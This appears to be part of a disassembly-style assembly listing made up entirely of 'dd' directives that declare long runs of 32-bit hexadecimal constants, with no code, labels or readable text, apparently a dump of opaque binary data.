		dd 3944C198h, 921A975Fh, 0C60033F1h, 0EF065117h, 0C80528ACh
		dd 34AD3497h, 0D379AC35h, 1AB852BDh, 73B1C704h,	5605A111h
		dd 0ABC3645Fh, 0BB813037h, 287B148Eh, 0E05FDEFh, 0B5F24B0h
		dd 70AE0294h, 0DDC3BB27h, 1E309424h, 0F9870F09h, 0FDDF16D8h
		dd 0D8EE7D6Bh, 0E9950109h, 52637619h, 0F7E07A4Dh, 2E43A18h
		dd 3185748Ch, 735C8670h, 25B7906Ch, 72C561C7h, 9FA0F027h
		dd 2DE03AEDh, 342C2h, 5013B396h, 0D667E1BFh, 0F1953D79h
		dd 99770139h, 60DF31FAh, 390069ADh, 2F0BCF0Fh, 27834F15h
		dd 627F9D03h, 5F31DDDEh, 0DBDFF731h, 5C5ADC5Ch,	5801D439h
		dd 8410BC4Eh, 612F3407h, 2F208727h, 0B80F35A7h,	0DFC0C9F0h
		dd 8017BF15h, 0AD00C273h, 2272F442h, 4A78A99Fh,	3449C293h
		dd 75AE5F05h, 0FB9AAAD0h, 42605EC9h, 0F94B4D83h, 4C22488Ah
		dd 26342EFDh, 13F46EBBh, 4EECFB3h, 0B2B8161h, 0F4A4F4C6h
		dd 734BFDFEh, 626B3D8Bh, 0CDE2306Bh, 7BE36255h,	27087060h
		dd 0CF058D00h, 4CDCADA1h, 999D2633h, 96019FB3h,	0C198D20Dh
		dd 0AF63A4E0h, 60231897h, 7ACF0580h, 0BBC99D29h, 99904749h
		dd 6AECEC4Dh, 4D9D0BA9h, 0C42005DBh, 0A3BB505Fh, 25DFD13Dh
		dd 0C03DCD90h, 0C38DDB3h, 4D325E07h, 89B27FCAh,	9240DCB5h
		dd 0C0DBAF5Bh, 4AAE85C3h, 0EA3A5EE8h, 7DE22A4Eh, 0FFAA1E00h
		dd 0EC7C928Ah, 3BEF6B01h, 0B59AFEF2h, 2FFCD0ECh, 56B76A95h
		dd 9D3A4381h, 0B632140h, 6AB5FA00h, 0C4898F6Ch,	0C7960103h
		dd 0A0BB665Bh, 80CEB3A1h, 0F39FBDF9h, 3FBAD0F8h, 0D15B5425h
		dd 0F3A2C2Bh, 0BB21DE64h, 0FF42D780h, 3ACECBA1h, 0DA042FB2h
		dd 400DE990h, 0C61873E2h, 0F79388Eh, 36D14581h,	2B50C93Ch
		dd 8ABF05D0h, 1FF02D5Ch, 0C6D5E79h, 845AAA36h, 99DBEB13h
		dd 5C29028Eh, 9DF48E7Ch, 573F9AF5h, 637FD764h, 0E62BCC00h
		dd 302468FAh, 36DE488Bh, 0C6B34Fh, 0DF98E090h, 0F0BC924h
		dd 35E21251h, 59195660h, 0ED12DE23h, 16E32F1Bh,	0E037A64Fh
		dd 0B0C9D288h, 99C3A189h, 25BA57CEh, 1FA1AD40h,	5F407582h
		dd 0EB25EF31h, 38F8653Ch, 0E63AE1F0h, 6C87F007h, 0EA9604FAh
		dd 0C090691Eh, 137DB50Dh, 7C1C1A97h, 4905D42Dh,	56BE2F6Eh
		dd 29E0D5D5h, 0ACD64E2Eh, 8A608386h, 3D8C9DDDh,	2721Dh
		dd 835DB707h, 2AB22767h, 81E72C3Ch, 0E3B8A8BDh,	146043FAh
		dd 0B54677BEh, 49B3C6F0h, 0E5D2F91Ch, 3870CE3h,	9F4D3BBEh
		dd 3CA15CE0h, 0EB790622h, 0D66E9B88h, 0A34AEF7Bh, 3A7F976Eh
		dd 712FC0CDh, 74AD25D1h, 61221025h, 539DB62h, 0B90E742Eh
		dd 0C0A8FBh, 8C06DCDFh,	0E909A99Eh, 361244h, 13564A30h
		dd 39DACDABh, 0F05E5A00h, 22CFB0FFh, 8B922F1Ah,	5041845Eh
		dd 0DB7E880Fh, 0CB1788B4h, 0BB93A0DFh, 4ED4A498h, 0B8A3AD14h
		dd 0A9018C1Ah, 2A2BE079h, 652EFAABh, 0CA34BF49h, 3E859DEAh
		dd 348027DAh, 8D638F66h, 8937E902h, 731F5BDh, 1B21628Bh
		dd 9F2FE655h, 17173FB5h, 4EFAD813h, 0ADC40129h,	0E029AE0Bh
		dd 40FC13FAh, 0DB640941h, 0F04A01D2h, 0DE3FE4CBh, 0D380C0B0h
		dd 70E66901h, 0CB19531h, 0BDDC882Bh, 33BEE54Ah,	5148DA04h
		dd 0E919270Ch, 122ED917h, 0F4238945h, 0FB00761Eh, 1F2A5721h
		dd 1DC57BD0h, 0C9C9E027h, 5871E6B9h, 526BB0Fh, 54C85FB5h
		dd 0E2DE4A0Ah, 21FD10C7h, 0CD1108D6h, 18C82B8Bh, 44C060h
		dd 0A2BEE31Ch, 2CA78A82h, 0EBC33205h, 0B887D18Bh, 25AE9F64h
		dd 7ED4B8D2h, 64A9854Fh, 47C25125h, 0C41D2375h,	951070FAh
		dd 94C500E6h, 32AF2A4Dh, 76292674h, 1CED0936h, 5B250C53h
		dd 0B71600E7h, 2FFF222h, 0FB213700h, 61AE268Ah,	332965E9h
		dd 0E28DEFF5h, 2BBDCD3Bh, 2F1E7724h, 4E15A554h,	690296B1h
		dd 0C2695CF5h, 111F28B7h, 5D85801Ah, 17E0AF59h,	0A66A4CC1h
		dd 9F4AF097h, 17DF1201h, 0B25EE6A0h, 55763018h,	7E233902h
		dd 0F207DEB9h, 1DED2030h
		dd 295B8195h, 59357D85h, 23757DEh, 0C9DE2700h, 27A433FDh
		dd 1658EA0Ch, 0B8640497h, 1E7EBBh, 759392ABh, 64C1AFA0h
		dd 0E1A5DFCh, 40BD13BAh, 0E2B53BECh, 7AA0565Dh,	4CD8BA82h
		dd 124C5A5Ch, 34244F2Eh, 0F8FA07Eh, 204E7582h, 0F21D9121h
		dd 0C14108EDh, 0CC7E34B2h, 6A00B667h, 804340EFh, 200EA1BEh
		dd 1902CB2Ch, 0B505F77h, 0C6AFDFBDh, 0BD66109h,	598D2960h
		dd 0FDC7B52Eh, 0C3404C11h, 0F11F5799h, 4B298F40h, 0BB088CF7h
		dd 3A2F4B02h, 0FFE1FF1Eh, 4BC0C4CDh, 1C454E13h,	0D3742BEAh
		dd 61B404C4h, 0BD33010Bh, 8E6B1D75h, 35F12E6h, 86802DF9h
		dd 0D089E31Dh, 28AA54Bh, 0A8316234h, 0EC1FA3D5h, 5BA022A7h
		dd 8203379Dh, 0F03D010Dh, 8DB81004h, 2BF0115h, 60426E18h
		dd 0A6B8B12Dh, 0E64DD82Eh, 54DB4225h, 0DEA826D6h, 9ABB7600h
		dd 0BF29B488h, 801A16CEh, 0D3C9B964h, 6282609Bh, 4E788A61h
		dd 40AD555Fh, 6E009AECh, 4A6820FAh, 4B0DEC7Eh, 1B53E03Bh
		dd 69055682h, 1A0DFE02h, 507A91DFh, 7BEEC92Bh, 0E2E70B70h
		dd 0ECFD16B8h, 0B022E79Ah, 29E551Dh, 189BE230h,	215FA65Eh
		dd 0EE536801h, 256A0F8h, 0B422F0BFh, 41545B64h,	8015AC02h
		dd 1C54E65Fh, 41533774h, 0A5B87AAFh, 7C3B218Ah,	59A74F08h
		dd 0A55622B2h, 0DE1F7649h, 0E01A7C62h, 97D051E3h, 5527FB01h
		dd 0CCAC2224h, 38AA6FA4h, 31828033h, 0C197EF77h, 0B7BDECD9h
		dd 9951B52h, 0F60CDEE1h, 4C9789Fh, 0FCB888BFh, 5FE4AD4Bh
		dd 0D3A2ECB7h, 41B09BE8h, 40FC9A95h, 0A0753197h, 9529B1C1h
		dd 4E50FAA9h, 0DAB925D2h, 0DFD60D96h, 0E2F42F70h, 0CD214539h
		dd 0E843100Dh, 25695A6h, 9BE45D52h, 542A5D27h, 68FCE0CDh
		dd 0A8FA82ACh, 0EB11BB04h, 49936BC4h, 57F4A153h, 3FC2AA5Bh
		dd 7860FFA6h, 0BA950269h, 0A441F7A8h, 0BEF76E12h, 313B6F56h
		dd 0E2056525h, 0CBA84461h, 0EC75ADE5h, 63E28C18h, 2879A114h
		dd 11FF71ACh, 282A5FF5h, 6E1195Ch, 4ACB068Ah, 142AE988h
		dd 26AD3B5h, 3219BD23h,	5536290Bh, 0D6D2689Dh, 0CE4BD40Ah
		dd 11AE0835h, 0BB02CEA2h, 8F9BFE5h, 8A503156h, 0D3EF9704h
		dd 9A217440h, 0D397520Eh, 765B5DCDh, 0C2A0E7EBh, 2D1D8333h
		dd 0FFE467DEh, 922FB200h, 7240B8EFh, 75320196h,	1B3DDAC9h
		dd 0B6EB205Fh, 0E79AFA4Ah, 5FC016C8h, 2E09C470h, 81B57DBDh
		dd 43EFEBBBh, 86342B35h, 4A6BB0E0h, 6B85C984h, 6624EB6Fh
		dd 842D17C7h, 0B8DAAAF6h, 66C01DC8h, 19BFCEEh, 7DA5BDA2h
		dd 6C500B25h, 739D8728h, 6F7F8CD0h, 0FAD4001Eh,	0A4D0022Eh
		dd 0C90E58CBh, 531FA5A7h, 0E3095D53h, 41137139h, 0C59701BFh
		dd 88DD2A3Ch, 0B76A6Eh,	69CD28FAh, 2DC261A5h, 0FD71F26Eh
		dd 43410154h, 0ADAAB493h, 98083AD7h, 30C22D1Ch,	0ED933A55h
		dd 0F0914091h, 9A06FA68h, 0B9807469h, 23812566h, 46DEA45Ch
		dd 0BB40414h, 6DF07D9Dh, 2747BE31h, 46DE0254h, 37D00115h
		dd 0C599529h, 5ACAE62Ah, 0FBA042A6h, 2204A387h,	52F103E6h
		dd 4F49E2AFh, 122B22F1h, 0E399E64Eh, 0BA980ADh,	50E61671h
		dd 49DD0469h, 0F375AB02h, 2F3F0BEAh, 0D35B935Ch, 0DC0F0009h
		dd 0BE208045h, 272482C1h, 48608C67h, 407AA7h, 0C16A8824h
		dd 0C9AC73B6h, 47676300h, 0B808BB86h, 215995C3h, 7EE7854h
		dd 263751D6h, 35FD9931h, 38169C8Ch, 0FE2C7E42h,	1508F7F4h
		dd 94042F20h, 4599AE53h, 0DB9136Fh, 2E545AF8h, 37E317C1h
		dd 807B2A2Eh, 31A6A9A5h, 7BBA00D3h, 9FDB7A7h, 0B417D85h
		dd 24F1D101h, 2E4BB73Ah, 18124C29h, 51E3FAACh, 38ED625Fh
		dd 0B100E7BCh, 65D24C13h, 0B87D62B3h, 0F6EE00E8h, 0D470BF96h
		dd 50766A7Ch, 2AAEC80Fh, 0E36F936Eh, 4A12A2Bh, 0B8C4EF80h
		dd 0F9F2D691h, 0D81B6803h, 5DE80DA8h, 0CB04883Bh, 5FF8B2DCh
		dd 1D882E9Bh, 90FBBDC4h, 0F698D183h, 2949E0F4h,	64B75A0Ch
		dd 2D7CEC5Eh, 0C4647111h, 0C3305342h, 74AC177Bh, 0A60010Dh
		dd 37651E4Eh, 0FB46E85Ah, 897D1897h, 5B93ED8Dh,	0A186E7C6h
		dd 0D7316DA0h, 4B9D8F2Ah, 0FB4A616Ah, 52586570h, 3EFE38BFh
		dd 0E95F1D04h, 1686B871h, 0ACE4BD23h, 0B0C15A8Bh, 1A40D9B3h
		dd 98B72561h, 9862C6h, 972B7120h, 0BF3C5DF0h, 7E5B3B93h
		dd 0B795FB7Ah, 86E30220h, 8C416A4Fh, 891A7BA2h,	76CE624Ah
		dd 0BD53A74Bh, 387AA0D0h, 750389B3h, 0F87DB51Fh, 0CD20D609h
		dd 0DE52F4EDh, 0AC56BD0Eh, 0E0858242h, 2FF55647h, 2070937Bh
		dd 8CB809ABh, 80F6C9E8h, 8BB0FB40h, 243E23Fh, 6309A631h
		dd 0C155BE27h, 0BA14085Bh, 0F90B7BA3h, 58C69050h, 1B40499Ch
		dd 95788Bh, 0A6685C33h,	66D2FF42h, 9B64D02h, 5D3555BDh
		dd 0DBF208F9h, 0DF061F0Fh, 0E0CB574Dh, 5034C6AAh, 6B1DA56Ah
		dd 0EF8C8D97h, 0B9014AB9h, 6204D218h, 0CDACA76Dh, 3AEC785Dh
		dd 0FF2DFCE0h, 0C0C0EDD1h, 0A188E149h, 0E6B1B002h, 42238E10h
		dd 549289FEh, 10A17103h, 5A25B589h, 0F4D7B32Bh,	2B1EA970h
		dd 12402798h, 9EB5DC90h, 24599000h, 4C4B8793h, 5C1798Ah
		dd 86BE6EBBh, 98E8457h,	31DB1ABAh, 8056F6A7h, 0BB4E91D4h
		dd 1000A070h, 5A4312F8h, 1CB68820h, 555B3624h, 818BD690h
		dd 0ACF53601h, 92E86277h, 0FB157C6Bh, 2A07697Ah, 0A50E58h
		dd 0E7074D71h, 0E95AE809h, 6C1C5774h, 0DACD2A39h, 0E300F26Fh
		dd 70A39D2Fh, 0D902B458h, 8D315B62h, 4AE4C4F1h,	0C8FADAF9h
		dd 8412C019h, 4125A6F9h, 4E4409h, 2B6D59FBh, 19BBFD81h
		dd 0AC4D5400h, 27BE0EE3h, 0BA6A1313h, 0A4AE1C8Ch, 2AFD0921h
		dd 0A05D1457h, 95F08890h, 0B75FB09Ah, 9B8C805Fh, 0B8F37412h
		dd 0B6F8402h, 5523159Dh, 0F99851CEh, 486AD33Dh,	93685880h
		dd 0F355E809h, 1C15D892h, 3D660204h, 1BC0030Fh,	4A1AE8F3h
		dd 0EBB4D962h, 30EE374Ah, 0C99F82C1h, 120C2C00h, 0BB8E38EFh
		dd 24CB13B0h, 5A00EF75h, 5F61A1AFh, 627048E6h, 1449913h
		dd 8B71E481h, 2A5C61FEh, 82B6B948h, 1341B501h, 0BFFC1855h
		dd 0BAA3247Dh, 31EAC188h, 10EF3CF3h, 0A44C0FADh, 0A961F525h
		dd 0F2902AFCh, 0B06EB81h, 89C82B9Fh, 7242137Fh,	85D14C7Eh
		dd 0BD227A71h, 2D7F2E1Ah, 0B4F4407Dh, 27789FB2h, 3F17C935h
		dd 7F6A1DAAh, 549105A2h, 9C0C1AB7h, 8D0B9759h, 58B0F9FBh
		dd 957106D3h, 0F84AFE44h, 983426BBh, 2AC21D55h,	2C228622h
		dd 266581CAh, 1B00A51Fh, 8BFC8AFEh, 80E1B0DAh, 278D2957h
		dd 5C560AADh, 90388450h, 256CB7E8h, 3299BD7Ah, 0D69E8AB7h
		dd 0A6B44FACh, 0B66A0EAh, 0A92C0114h, 19B95BBFh, 7B7A2F08h
		dd 6BD6A501h, 0FE3BE939h, 89891A5Fh, 0BC8A5031h, 0E65B3A11h
		dd 0FBDAE0FBh, 150105B5h, 6DB3C1h, 55D5D7DCh, 0C0122B7Ah
		dd 4A825060h, 590529h, 7BB1C6EEh, 0D24D2B61h, 93BC96h
		dd 0E033791Ah, 0FAB89965h, 0DB74A4Ah, 793016F2h, 503E3023h
		dd 268DDFB0h, 0EAA65B4Ah, 4E5FAC4Ah, 31ED0A75h,	5B9D01A8h
		dd 181A592Fh, 879A01E0h, 0D60C3028h, 92032C31h,	9562ECA0h
		dd 0B5A7CB97h, 25330023h, 299B5921h, 69DFF309h,	44A759F8h
		dd 8134FEBBh, 20FECEA5h, 67C5BB79h, 0B4485EB0h,	2C7510AAh
		dd 0A7B85B13h, 0E3ECE0FEh, 4CC40BCEh, 56A72Dh, 409F6DEBh
		dd 3A8465ADh, 80BFA802h, 0FE48A4BAh, 242D0BF0h,	1B8F307Fh
		dd 6D5F0235h, 4F19C4E1h, 30408F74h, 1A6810h, 65C956C0h
		dd 0DD44DF78h, 8131533Ch
		dd 615B37C8h, 6369E1FFh, 329D5BB8h, 0E5165618h,	7D18E1BBh
		dd 96AB8A6h, 0C6D9D89h,	25769CD5h, 45CC04A7h, 0C463702h
		dd 5C7F3C8Ch, 92595138h, 61EA6031h, 0C6098D5Eh,	35BA6601h
		dd 936061D4h, 52C57892h, 0B96B5604h, 5BE769Ah, 0C1B27ACDh
		dd 2EDD215Bh, 0DAF22613h, 0D19DE500h, 26BEFFFEh, 53CD9A16h
		dd 20811C04h, 69625B0Bh, 4A233F56h, 0E25958h, 0CF36A2EAh
		dd 0DA82BFC8h, 25976CF8h, 9EEF5440h, 21F4C03Bh,	17095F1Ah
		dd 0F22B25BDh, 0B9E6D78Bh, 3BD2CCA1h, 874D35C9h, 71801238h
		dd 8CBFC48Fh, 5F40C112h, 0A65B4FE3h, 20B53EA3h,	28409524h
		dd 46BF3C4Eh, 42313C15h, 39863500h, 0D3A9B8BEh,	900B9217h
		dd 88074DBh, 6B1D7E5Dh,	0BBD1FE02h, 761E3816h, 0ACF91664h
		dd 0D7FFA55Eh, 6EF94772h, 0E42EA817h, 886A24E5h, 74003A98h
		dd 93DF5D5Bh, 9944FD0h,	38041542h, 58979776h, 0E474D60Eh
		dd 70B84136h, 0E38FF6D2h, 8017F09Dh, 477E4CD7h,	5054D12Dh
		dd 696D5552h, 0B38C31C0h, 45DAB87Bh, 6BEAC965h,	1D259CB2h
		dd 7D853322h, 5AF6215Ch, 587C22ABh, 0F20000F4h,	6BD1809Ch
		dd 0E34C0452h, 0B835616Eh, 11E69680h, 8A3CC9F0h, 0A035100h
		dd 9531B36Fh, 2C719D6Dh, 0E0A28049h, 7F99BB3Ch,	99624B8Dh
		dd 9A7606Eh, 1D4A957Fh,	0DA4B67B3h, 66D28519h, 80612AABh
		dd 26A47D4Ah, 82D2C990h, 0F593A270h, 2A89AA78h,	6BFB39BDh
		dd 2FF4EC50h, 98958AA8h, 918E0FABh, 600724DDh, 0CF78F528h
		dd 2F945A12h, 91D8B23Ch, 5212B1B4h, 82C02A60h, 1412B6BBh
		dd 0E85A28D4h, 7CF88BC7h, 415ABD3Ah, 1CBF1016h,	0B05B6707h
		dd 167698DBh, 0F65C6288h, 0BA77221Dh, 4056EDAFh, 0EF91D740h
		dd 0A309C171h, 841C8274h, 0D6F16D7Dh, 0C8169A2Bh, 10CEC019h
		dd 0C9279366h, 13AA9098h, 711C1E12h, 8D76C151h,	0E0BA815Eh
		dd 1102A2E7h, 0E0BC3EC2h, 9E795514h, 4EB7263Bh,	80B96117h
		dd 0BDC7BF82h, 0DB7A415Eh, 52765097h, 0EA95A900h, 6AA6809Bh
		dd 0F97CC93Fh, 4B446D71h, 10B024F7h, 9A0170F5h,	0D988E77h
		dd 84C33EE9h, 0E178F6BEh, 92BB027h, 0A4562B6Bh,	0A1604B77h
		dd 13BE2E91h, 4B2AA0B8h, 2A53CA61h, 0FBB78ACBh,	9E827AA8h
		dd 600421E5h, 492FECE8h, 4B610CE1h, 7C9327F1h, 3905F6C0h
		dd 9DB3CE98h, 8A16E3F3h, 0D2F6ADDAh, 7FA833A9h,	0D3CD1A00h
		dd 0A9F6FE36h, 375BB52Bh, 0D4A6DC49h, 0ED502A00h, 6BBB776Dh
		dd 0CC9E4B6Ch, 0D09D9643h, 5F58959Ch, 8820DB9Dh, 25242FE9h
		dd 7B2E4109h, 0DB808414h, 0D212BDEDh, 87A03AF6h, 0E409D674h
		dd 57FB8B98h, 16D53538h, 7D372785h, 0E24EC600h,	4A0A90D9h
		dd 4D01201Eh, 2300FE2Dh, 0D9259B15h, 1F2E2D1h, 53CB81BFh
		dd 2E406531h, 2C9CFA17h, 0F9E800DCh, 0B2416102h, 7B384BB4h
		dd 0AB3B9636h, 59126AB7h, 6C8E208h, 1F19B501h, 20501E1Fh
		dd 11694B31h, 7577256h,	505947D0h, 0BB665F30h, 0B249E526h
		dd 56E48802h, 440457F8h, 0ECB8A9B8h, 6748079Fh,	51D63052h
		dd 6FB1E864h, 8384CCh, 639F9C7Fh, 0F204D75Dh, 0A6AC415Bh
		dd 6AB34A5Fh, 8400DC3Eh, 0C6C249FCh, 7852F8D0h,	955BF82Bh
		dd 1A91B3B5h, 50BFE187h, 0F2A397B1h, 0D5206498h, 118AA025h
		dd 48CE951Bh, 0A9F790A2h, 770D503Dh, 43C895D9h,	310847B4h
		dd 580961BDh, 0ABBD8F0Fh, 601C7C89h, 3DF8319Dh,	0AFEA6113h
		dd 5AA6E807h, 0A7AF7179h, 794AC3E3h, 0DA9637B7h, 498D80E2h
		dd 298F06F1h, 0BCEA9603h, 6732E800h, 0B369137Ch, 0F46BA630h
		dd 26F016BBh, 26236096h, 6F6C6F6h, 6561CB27h, 0B44950E2h
		dd 8C82585Bh, 53355705h, 0BF801B91h, 0A6573C5h,	18CDD116h
		dd 0F32D610Eh, 0D13C7529h, 0E3ADDC12h, 0F8B57AB2h, 2EA62573h
		dd 4A17B2C5h, 0F7B092F7h, 2B02C48Bh, 0C1B091FEh, 9D79C13Ch
		dd 256BCA6Ah, 71C3C2FCh, 92DA00FCh, 8435BEACh, 16008A7Ch
		dd 6BDF25C9h, 4B801BB0h, 4BBA8B26h, 0C24D27AAh,	0FE12F385h
		dd 6F17D437h, 47E1979Bh, 918B7Eh, 1D9DF9EDh, 25CD04C8h
		dd 0B6C6A38Dh, 87E497h,	0B5485D5Ah, 80893330h, 8B5C4400h
		dd 0EB86F72Bh, 0C8D116DFh, 0C1BEBCA8h, 5250905Fh, 0C4140F2Ah
		dd 0E65731C9h, 0D98B1BB1h, 0B7D80A61h, 4D9590A6h, 2FE8C037h
		dd 0A2637C08h, 7BDBB740h, 0E79108h, 0B5CA63D6h,	0E0001F3Ah
		dd 29921951h, 0D90E84h,	5685C3F4h, 1BFD4DBBh, 0B5F1102h
		dd 0C40845BDh, 0DCFF1300h, 0F061E6EDh, 10FAF8Eh, 8B2BDFE5h
		dd 2109DEE8h, 1618797h,	7F9939BDh, 0B94BB46h, 807900D4h
		dd 0FDCD74D4h, 0BF04DE8Bh, 2319B325h, 0E430E3AAh, 48392BF6h
		dd 1682B913h, 9D09041Dh, 50C2D671h, 0DC24BCh, 0A62B0C13h
		dd 0F3810993h, 0A24C7C04h, 6FAF6A5Ch, 3F1F38C0h, 9AF7022Bh
		dd 5519F448h, 1564FA6Dh, 3012FB61h, 4C004536h, 0DEBB4097h
		dd 9549D82Ah, 9510D66Ch, 0FC9706FDh, 5A62C470h,	689100BAh
		dd 0C229F84Dh, 5C7D662Dh, 482C9069h, 0F7A44A21h, 8A5B4B61h
		dd 0CF992DE7h, 7BFC6300h, 3B2362A1h, 0E79E88h, 0FDCA9BE4h
		dd 6A731876h, 0E6B2025Fh, 0E1D7D000h, 657A3ACEh, 0A10FAB00h
		dd 731F436Dh, 0BDBF4AA7h, 0B153D4h, 0BAE18B82h,	0CD5DD1h
		dd 139AC44Ch, 0BD7A226Fh, 47620D09h, 0B0FC025Eh, 7CCDD5A2h
		dd 1270DB6Bh, 0D967B099h, 0FB8B5A13h, 0DF4B70AEh, 3D78B797h
		dd 0C20E4521h, 0E609DD09h, 1AC49573h, 25DA2100h, 0C943D7A2h
		dd 0B82D4B68h, 5F52C7ADh, 0A5CF7319h, 9540DFEDh, 0C864EE2h
		dd 941881CCh, 24409D8Ch, 20535B50h, 6B3BF6BCh, 6068EC0Bh
		dd 5F10D561h, 329713B3h, 0FD2D82CBh, 0BC65D52Eh, 72D88A09h
		dd 0C8BD9FA6h, 64FD200h, 175587CDh, 6194710h, 55297DBAh
		dd 0C5C6FF62h, 27DDC434h, 3B7C12D1h, 0A02800F4h, 705737D8h
		dd 5412394Ch, 0CBE6F9ADh, 24014510h, 5B0E0657h,	8D561EB0h
		dd 0E60427FDh, 0BB800F70h, 0DB019BB7h, 493A07DAh, 0DFEED8E0h
		dd 0CA2FBA00h, 80F4A8D9h, 80F84B39h, 0BE99DD2h,	6C8D6695h
		dd 0DDF0770Ah, 0D4891C4Bh, 0B9A2F047h, 0C661092Eh, 0B2EB040Ah
		dd 4B4D5814h, 2C7B73BAh, 9D98FE80h, 3CC66600h, 0A9E3FD79h
		dd 0F8E0584h, 831BB9CAh, 52BCE8E1h, 0E9A04CB8h,	603CD992h
		dd 6BB84B8h, 1A869CC6h,	89040436h, 0AB19E58Dh, 7195B130h
		dd 7FB68424h, 0DEFCD11Ch, 4839DF33h, 511059C7h,	0E603508h
		dd 0FC665788h, 0C4614BF1h, 0E59B0D08h, 0FAD53F35h, 91E7D581h
		dd 2503482Fh, 181596B1h, 4B7AF62Eh, 0D2B288h, 170FF170h
		dd 5B8723D0h, 0CEEAE605h, 0F604CBEDh, 251F2A29h, 0E8C313DDh
		dd 973509B5h, 102D1DB1h, 3F9F59BFh, 0A528752Eh,	0C6FE651Ah
		dd 738B10D8h, 9D5CA62h,	925C4CF5h, 0C12B040Dh, 0BD67E065h
		dd 42A78228h, 9B77DEDh,	0CA1C5D85h, 7B60A9C2h, 29850407h
		dd 0B1BD440Eh, 2F56614Bh, 8F5F00F4h, 79BD8E42h,	0B712061Ch
		dd 0D4ADF5F2h, 8C19ACh,	3DFF93BCh, 0D6B99B6Eh, 27F7075Bh
		dd 19C030A2h, 35B4F5B5h, 4D13D22Ch, 6EE12D52h, 54B8796Dh
		dd 9340009Dh, 2FF9FC36h, 0F0FEC02Bh, 0E109B268h, 0C4CB5622h
		dd 0F440BCF8h, 500049E2h, 5DB57F32h, 66019A89h,	0E4A52A05h
		dd 0BBDC6A21h, 6E754F0Dh, 99F39D3h, 79E62F86h, 5A5B2750h
		dd 52EABD13h, 4637E7C5h, 4D0CB1BDh, 0FD48AA60h,	0E8D2B33Ah
		dd 0FE699822h, 0F8B426EAh, 310D0907h, 0AB71D656h, 0C5A985C3h
		dd 18015FBCh, 0FC7FA312h
		dd 0CA702EBAh, 33172CBBh, 2863600Ch, 1C00D69Ch,	4BFCBE15h
		dd 30C5023h, 18A97FF6h,	0BA84B82Ch, 0CAC041DEh,	2EB20379h
		dd 6C600A27h, 1D85133Ah, 0C3B62Fh, 0C009C57Dh, 0F6A461AFh
		dd 978475FAh, 149170B5h, 1D7BA89h, 2C999D1Bh, 0EC4F220Fh
		dd 32969788h, 86570140h, 0BD4E294h, 0F022BD61h,	0DA1240D4h
		dd 0F18D1BF2h, 0BC3A2952h, 6DD1052Ah, 0BA480D73h, 4B60A91Dh
		dd 0CBA2EC60h, 0DB89D72Bh, 7329B2D5h, 23915067h, 0DFE01675h
		dd 0C3CC1C27h, 82594BADh, 0FB5CF921h, 5E01268Bh, 2701F41Bh
		dd 0FD0FB7F9h, 5730EEA9h, 9C1E4BD5h, 0F5F933FEh, 4B816D16h
		dd 0A84ACAE9h, 0FF00AA7Fh, 0D4DA76AFh, 0AC053406h, 0B2B70B98h
		dd 24A9B204h, 0C4B39002h, 0B4ECC8D0h, 0A13820F1h, 0C1A84B99h
		dd 8BF78F17h, 6880EAECh, 365C052Ah, 6E86D2A1h, 532628h
		dd 0FCA02CBDh, 0C007E045h, 8A3E8BF0h, 0B9668256h, 0D56152E9h
		dd 6D50C80h, 0F143643h,	22250A8Dh, 459E1A05h, 0B555823Ah
		dd 971D913Dh, 0D51F71D4h, 0B8DB5AC4h, 8C00EFF2h, 2CC835AAh
		dd 1897F8FDh, 0A8DE8BD7h, 152A96Eh, 0A05B7932h,	0DBDF8355h
		dd 0F31EF4F0h, 1AD9E924h, 22CF1CA4h, 5C353DBDh,	1D46DECDh
		dd 46D67600h, 62431AFDh, 23B7ED05h, 20AB60FCh, 0CC0C06FFh
		dd 49C12700h, 0FC33B55Dh, 5584026Eh, 48A6BE7Fh,	847B4Bh
		dd 0CAE68059h, 42F1BF61h, 58EB66A5h, 494E5660h,	897FF58Ch
		dd 97CB584Dh, 9178A55Bh, 35D700D4h, 0D0945573h,	0C6955206h
		dd 100941E6h, 10BB5FF7h, 4D4BE3E0h, 9897F98Dh, 0EE1303D6h
		dd 0C2281E45h, 64EDEB7h, 0DA02C96Eh, 132B47F2h,	915BB5D5h
		dd 3C1C801Bh, 12C702EFh, 0E10129E9h, 0B8AB2DFFh, 0B350175Ah
		dd 0FF98814Dh, 0EF7E2FB5h, 9E8EC08h, 3D24A80h, 132A1CBDh
		dd 573356h, 5B60BE07h, 5A16D568h, 52E2183Eh, 0FD6AAC00h
		dd 0D3A5B3D6h, 6BE8AE0Fh, 415D251Bh, 500A89ABh,	21592AEEh
		dd 0E6F51825h, 0A0564A0Ah, 0C4BD2CABh, 35BF199Ch, 3B6BE61Bh
		dd 18385CCh, 0F36EC510h, 0D498D91Ah, 97267508h,	0F6520847h
		dd 1C7CD45Ah, 873ECB76h, 9061A7EEh, 1A524B4h, 7F973D3Eh
		dd 0C8EFB340h, 0D69D266Ch, 70562D35h, 0D3144DF6h, 3582FE89h
		dd 47551979h, 2C431AAAh, 87863755h, 0C053BA7Bh,	9A1520FDh
		dd 0BB0589E2h, 46EB1FD5h, 340208EFh, 1677F925h,	5333EF50h
		dd 0F5B5E25Fh, 0B555902Bh, 0C539F28Dh, 81F63806h, 0CC57E55h
		dd 4CD7D0h, 28CEBFF6h, 0B94DBB41h, 9122A405h, 0ADEC870Fh
		dd 0E071D889h, 5048742h, 562CAE57h, 0FC1FD678h,	0A5315EECh
		dd 1960BF51h, 5F04257Ah, 15649FCDh, 92C7DE61h, 1CE3D866h
		dd 9E007753h, 3236C5Eh,	5A004ADCh, 0B5A67541h, 4AFFD74Eh
		dd 4ACAE751h, 4E80B59Ah, 0CB402765h, 2C2F1448h,	0D24E8785h
		dd 0AAC094AFh, 0B1961FE4h, 30D48067h, 13DFDD18h, 4B518200h
		dd 0FEF64D26h, 4BD6F0B6h, 430F20EAh, 6207B01Ch,	0BA5A5DCCh
		dd 5219970h, 0BD59092Bh, 81F773EAh, 96FE8BFFh, 8BB1DB6Fh
		dd 532FD5Bh, 2135A8C0h,	0EA5F68A2h, 15ED7FFCh, 0B6FB3969h
		dd 1612A66Ch, 7A21F370h, 3EB2DB04h, 5BD6BDCh, 179FB89h
		dd 0DBBF0F81h, 2FDD8D09h, 0F8CB9C2Bh, 57A50191h, 27435080h
		dd 601DBB5Eh, 0B3EE64Ah, 0D58D23F6h, 1C40BB15h,	10EB9273h
		dd 0D3AC3C6Bh, 0CA1CEB6h, 0F4046BF3h, 1D13306Dh, 0EF0BD2FCh
		dd 0FF7BE872h, 0A976964h, 2DE5F20h, 0E3853EBDh,	335737B1h
		dd 13CDE9BAh, 9509120Ah, 6A25C6B9h, 1378DE5Bh, 886C0FBDh
